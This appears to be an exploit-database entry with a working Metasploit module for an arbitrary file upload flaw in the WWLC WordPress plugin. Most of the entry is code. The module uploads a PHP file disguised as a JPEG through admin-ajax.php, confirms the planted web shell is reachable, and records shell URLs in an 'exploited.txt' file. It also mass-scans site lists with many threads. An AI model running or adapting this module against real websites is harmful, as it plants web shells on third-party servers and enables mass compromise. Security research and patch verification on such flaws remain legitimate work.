=============================================================================================================================================
| # Title : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://woocommerce.com/ |
=============================================================================================================================================
[+] Summary : This Metasploit auxiliary module scans WordPress websites for an arbitrary file upload vulnerability in the WWLC plugin. The module attempts to upload a
crafted PHP file through the vulnerable AJAX endpoint (admin-ajax.php) using the wwlc_file_upload_handler action.
If the upload is successful, the module verifies the uploaded file by sending a request to the generated file path in the WordPress uploads directory.
The scanner supports multi-threaded scanning, retry mechanisms,
and the ability to load target websites from a file for large-scale assessments.
Successful findings are logged locally and reported to the Metasploit database for further analysis.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WWLC File Upload Vulnerability Scanner',
'Description' => %q{
This module scans for WordPress WWLC plugin arbitrary file upload vulnerability.
It attempts to upload a PHP file and verify successful upload.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://example.com/wwlc-vulnerability' ]
],
'DisclosureDate' => '2026-03-13'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptPath.new('PAYLOAD_FILE', [true, 'PHP file to upload', '/path/to/404_protected.php']),
OptInt.new('THREADS', [true, 'Number of threads', 40]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10]),
OptInt.new('RETRIES', [true, 'Number of retries', 6]),
OptString.new('SITES_FILE', [false, 'File containing list of sites', 'kll.txt'])
]
)
register_advanced_options(
[
OptString.new('ALLOWED_FILE_TYPES', [true, 'Allowed file types', 'php,png,jpg']),
OptInt.new('MAX_FILE_SIZE', [true, 'Max allowed file size', 5000000])
]
)
end
def setup
@vuln_file = 'vuln.txt'
@bpvuln_file = 'exploited.txt'
[@bpvuln_file, @vuln_file].each do |f|
File.delete(f) if File.exist?(f)
end
if datastore['SITES_FILE'] && File.exist?(datastore['SITES_FILE'])
@sites_from_file = File.read(datastore['SITES_FILE']).split("\n").map(&:strip).reject(&:empty?)
else
@sites_from_file = []
end
end
def run_host(ip)
site = full_uri
check_vulnerability(site)
end
def run
if !@sites_from_file.empty?
print_status("Loaded #{@sites_from_file.size} sites from file")
scan_from_file
else
print_status("Starting scan...")
super
end
end
def scan_from_file
threads = []
queue = Queue.new
@sites_from_file.each { |site| queue << site }
thread_count = [datastore['THREADS'], queue.size].min
thread_count = 1 if thread_count < 1
thread_count.times do
threads << framework.threads.spawn("Module(#{refname})", false) do
until queue.empty?
site = queue.pop rescue nil
check_vulnerability(site) if site
end
end
end
threads.each(&:join)
end
def normalize_site(site)
site = site.strip
unless site.start_with?('http://', 'https://')
site = "http://#{site}"
end
site.chomp('/')
end
def check_vulnerability(site)
site = normalize_site(site)
print_status("Testing: #{site}")
retries = 0
while retries < datastore['RETRIES']
begin
parsed = URI.parse(site)
base = "#{parsed.scheme}://#{parsed.host}"
base += ":#{parsed.port}" unless [80,443].include?(parsed.port)
base_path = parsed.path.empty? ? '/' : parsed.path
ajax_url = normalize_uri(base_path, 'wp-admin', 'admin-ajax.php')
uploads_dir = normalize_uri(base_path, 'wp-content', 'uploads')
unless File.exist?(datastore['PAYLOAD_FILE'])
print_error("Payload file not found: #{datastore['PAYLOAD_FILE']}")
return
end
file_data = File.read(datastore['PAYLOAD_FILE'])
file_settings = {
'allowed_file_types' => datastore['ALLOWED_FILE_TYPES'].split(','),
'max_allowed_file_size' => datastore['MAX_FILE_SIZE']
}
multipart_form = Rex::MIME::Message.new
multipart_form.add_part('wwlc_file_upload_handler', nil, nil, 'form-data; name="action"')
multipart_form.add_part(JSON.generate(file_settings), 'application/json', nil, 'form-data; name="file_settings"')
multipart_form.add_part(file_data, 'image/jpeg', nil, 'form-data; name="uploaded_file"; filename="404.php.jpg"')
res = send_request_cgi({
'method' => 'POST',
'uri' => ajax_url,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s,
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01'
}
}, datastore['TIMEOUT'])
if res && res.code == 200
begin
data = JSON.parse(res.body)
if data['status'] == 'success' && data['file_name']
filename = data['file_name']
shell_path = normalize_uri(uploads_dir, filename)
verify_res = send_request_cgi({
'method' => 'GET',
'uri' => shell_path
}, datastore['TIMEOUT'])
if verify_res && verify_res.code == 200
shell_url = "#{base}#{shell_path}"
print_good("#{site} -> #{shell_url}")
File.open(@bpvuln_file, 'a') { |f| f.puts(shell_url) }
File.open(@vuln_file, 'a') { |f| f.puts("#{base}#{uploads_dir}") }
report_vuln(
host: parsed.host,
port: parsed.port,
name: name,
refs: references,
info: "Uploaded shell: #{shell_url}"
)
return
end
end
rescue JSON::ParserError
end
end
print_status("Failed: #{site}")
break
rescue ::Rex::ConnectionError, ::Rex::TimeoutError
retries += 1
if retries < datastore['RETRIES']
print_status("Retry #{retries}/#{datastore['RETRIES']} for #{site}")
sleep(1)
else
print_error("Failed after retries: #{site}")
end
rescue => e
print_error("Error: #{site} - #{e.message}")
break
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation